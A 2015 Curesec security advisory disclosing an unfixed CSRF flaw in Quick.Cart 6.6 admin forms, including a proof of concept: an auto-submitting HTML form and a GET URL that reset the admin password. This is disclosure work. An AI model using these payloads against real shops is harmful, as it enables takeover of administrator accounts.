Posted on 09 November 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: Quick.Cart 6.6 Fixed in: not fixed Fixed Version Link: n/a Vendor Contact: info@opensolution.org Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/07/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Description None of the requests of Quick.Cart 6.6 are protected from CSRF. This means that an attacker can perform actions for a logged in user by getting them to visit a website with specifically crafted HTML and JavaScript while logged in. The interesting Forms are all in the admin.php file. To add security through obscurity, Quick.Cart does suggest to rename this file, which would make it more difficult to exploit these vulnerabilities. The renaming is not mandatory. The vulnerability can be exploited via GET or POST because of a call to extract: extract( $_GET ); 3. Proof of Concept Change Admin Password: <html> <body> <form id="myform" action="http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config" method="POST"> <input type="hidden" name="sOption" value="save �»" /> <input type="hidden" name="login" value="admin" /> <input type="hidden" name="pass" value="admin" /> <input type="submit" value="Submit request" /> </form> <script>document.createElement('form').submit.call(document.getElementById('myform'));</script> </body> </html> Or via GET: http://localhost/ecommerce/Quick.Cart_v6.6/admin.php?p=tools-config&_POST[sOption]=save%20%26raquo%3B&_POST[login]=admin&_POST[pass]=123&_POST[submit]=Submit%20request 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 09/07/2015 Informed Vendor about Issue 10/01/2015 Reminded Vendor of release date 10/01/2015 Vendor does not plan on releasing a fix, because the optional rename of the admin file may mitigate this issue already 10/07/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/QuickCart-66-CSRF-73.html
